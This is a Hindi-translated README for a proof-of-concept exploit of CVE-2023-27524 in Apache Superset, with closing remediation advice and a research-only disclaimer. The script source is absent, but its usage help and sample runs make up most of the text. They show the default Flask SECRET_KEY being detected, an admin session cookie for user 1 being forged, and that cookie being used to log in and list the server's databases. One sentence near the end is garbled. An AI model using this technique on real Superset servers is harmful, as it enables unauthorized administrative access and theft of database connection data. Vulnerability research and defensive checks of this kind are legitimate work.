
CVE-2023-27524 के लिए बेसिक PoC: Apache Superset में असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन
यह स्क्रिप्ट जांचती है कि क्या कोई Apache Superset सर्वर असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन (CVE-2023-27524) के साथ चल रहा है। स्क्रिप्ट जांचती है कि क्या Superset सर्वर के सत्र कुकीज़ किसी ज्ञात डिफ़ॉल्ट Flask SECRET_KEY से हस्ताक्षरित हैं।
--validate फ़्लैग का उपयोग Superset API के माध्यम से डेटाबेसों की सूची बनाकर शोषण क्षमता को मान्य करने के लिए किया जा सकता है।
अधिक विवरण यहां: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset अनुवर्ती पोस्ट: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
यदि स्क्रिप्ट उपयोग में आ रही SECRET_KEY का पता लगाती है लेकिन शोषण क्षमता को मान्य नहीं कर पाती है, तो इसका कारण हो सकता है:
--id तर्क का प्रयास करें)Flask SECRET_KEY उत्पन्न और कॉन्फ़िगर करने के लिए यहां दिए गए निर्देशों का पालन करें। superset CLI टूल का उपयोग SECRET_KEY को घुमाने के लिए किया जा सकता है ताकि मौजूदा डेटाबेस कनेक्शन जानकारी संरक्षित रहे।
यह सॉफ़्टवेयर पूरी तरह से शैक्षणिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उपयोग सिस्टम पर हमला करने के लिए नहीं किया जाना चाहिए, सिवाय स्पष्ट रूप से अधिकृत स्थितियों के। परियोजना अनुरक्षक सॉफ़्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।